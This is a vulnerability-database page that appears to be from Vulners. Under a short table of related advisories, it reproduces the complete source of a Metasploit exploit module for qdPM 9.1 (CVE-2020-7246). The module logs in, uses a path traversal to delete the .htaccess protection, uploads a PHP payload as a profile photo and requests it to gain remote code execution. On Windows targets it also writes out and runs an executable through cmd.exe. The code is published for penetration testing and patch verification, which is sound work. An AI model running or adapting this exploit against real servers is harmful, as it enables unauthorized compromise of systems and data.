| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| qdPM 9.1 Authenticated Shell Upload Exploit | 29 Sep 202200:00 | – | zdt | |
| CVE-2020-7246 | 21 Jan 202000:00 | – | attackerkb | |
| CVE-2015-3884 | 29 May 201815:50 | – | circl | |
| qdPM Arbitrary File Upload Vulnerability | 21 Mar 201700:00 | – | cnvd | |
| CVE-2015-3884 | 17 Mar 201714:00 | – | cve | |
| CVE-2015-3884 | 17 Mar 201714:00 | – | cvelist | |
| EUVD-2015-3919 | 7 Oct 202500:30 | – | euvd | |
| CVE-2015-3884 | 17 Mar 201714:59 | – | nvd | |
| qdPM 9.1 Authenticated Shell Upload | 29 Sep 202200:00 | – | packetstorm | |
| Unrestricted file upload | 17 Mar 201714:59 | – | prion |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
'Description' => %q{
A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
},
'License' => MSF_LICENSE,
'Author' => [
'Rishal Dwivedi (Loginsoft)', # Discovery
'Leon Trappett (thepcn3rd)', # PoC
'Giacomo Casoni' # Metasploit
],
'References' => [
['CVE', '2020-7246'],
['EDB', '50175']
],
'Payload' => {
'BadChars' => "\x00"
},
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
[ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
[ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
],
'Privileged' => true,
'DisclosureDate' => '2020-11-21',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
OptString.new('EMAIL', [true, 'The email to login with']),
OptString.new('PASSWORD', [true, 'The password to login with'])
]
)
self.needs_cleanup = true
end
def check
uri = normalize_uri(uri, '/index.php')
res = send_request_raw({ 'uri' => uri })
if res.nil?
return Exploit::CheckCode::Unknown('No response received from the target')
end
login_page = res.get_html_document
begin
version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
rescue StandardError
return Exploit::CheckCode::Unknown('No response received from the target')
end
version = Rex::Version.new(version_num)
if version <= Rex::Version.new('9.1')
return Exploit::CheckCode::Appears('The target is running a vulnerable version')
else
return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
end
end
def get_write_exec_payload_win(fname, _data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
?>
|
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
return php
end
def login(base, username, password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{base}/index.php/login"),
'keep_cookies' => true
})
login_page = res.get_html_document
csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/login"),
'vars_post' => {
'login[email]' => username,
'login[password]' => password,
'login[_csrf_token]' => csrf_token
},
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}/#{base}/index.php/login"
}
})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{base}/index.php/myAccount"),
'keep_cookies' => true,
'headers' => {
'Host' => rhost.to_s
}
})
account_page = res.get_html_document
begin
userid = account_page.at("input[@name='users[id]']/@value").text.strip
rescue StandardError
print_error('The designated admin account does not have a user ID.')
return {}
end
username = account_page.at("input[@name='users[name]']/@value").text.strip
csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
opts = {
'user_id' => userid,
'name' => username,
'csrf_token' => csrftoken_
}
return opts
end
def upload_php(base, opts)
fname = opts['filename']
php_payload = opts['data']
user_id = opts['user_id']
email = opts['email']
csrf_token = opts['csrf_token']
data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' }
]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
)
data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' }
]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
)
data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' },
{ 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
]
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
})
return res.code == 302
end
def exec_php(base, _opts)
res = send_request_cgi({
'uri' => normalize_uri("#{base}/index.php/myAccount"),
'keep_cookies' => true
})
home_page = res.get_html_document
backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
register_file_for_cleanup(backdoor)
send_request_cgi({
'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
})
end
def exploit
uri = normalize_uri(target_uri.path)
user = datastore['EMAIL']
pass = datastore['PASSWORD']
print_status("Attempt to login with '#{user}:#{pass}'")
opts = login(uri, user, pass)
if opts.empty?
print_error('Login unsuccessful or bad (admin) user')
return
end
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
case target['Platform']
when 'php'
p = get_write_exec_payload
when 'linux'
p = get_write_exec_payload(unlink_self: true)
when 'win'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
bin = generate_payload_exe
p = get_write_exec_payload_win(bin_name.to_s, bin)
print_warning("#{bin_name} will require manual cleanup")
end
print_status("Uploading PHP payload (#{p.length} bytes)...")
data = {
'email' => user.to_s,
'filename' => php_fname,
'data' => p
}
data = data.merge(opts)
uploader = upload_php(uri, data)
if !uploader
print_error('Unable to upload')
return
end
print_status("Executing '#{php_fname}'")
exec_php(uri, opts)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation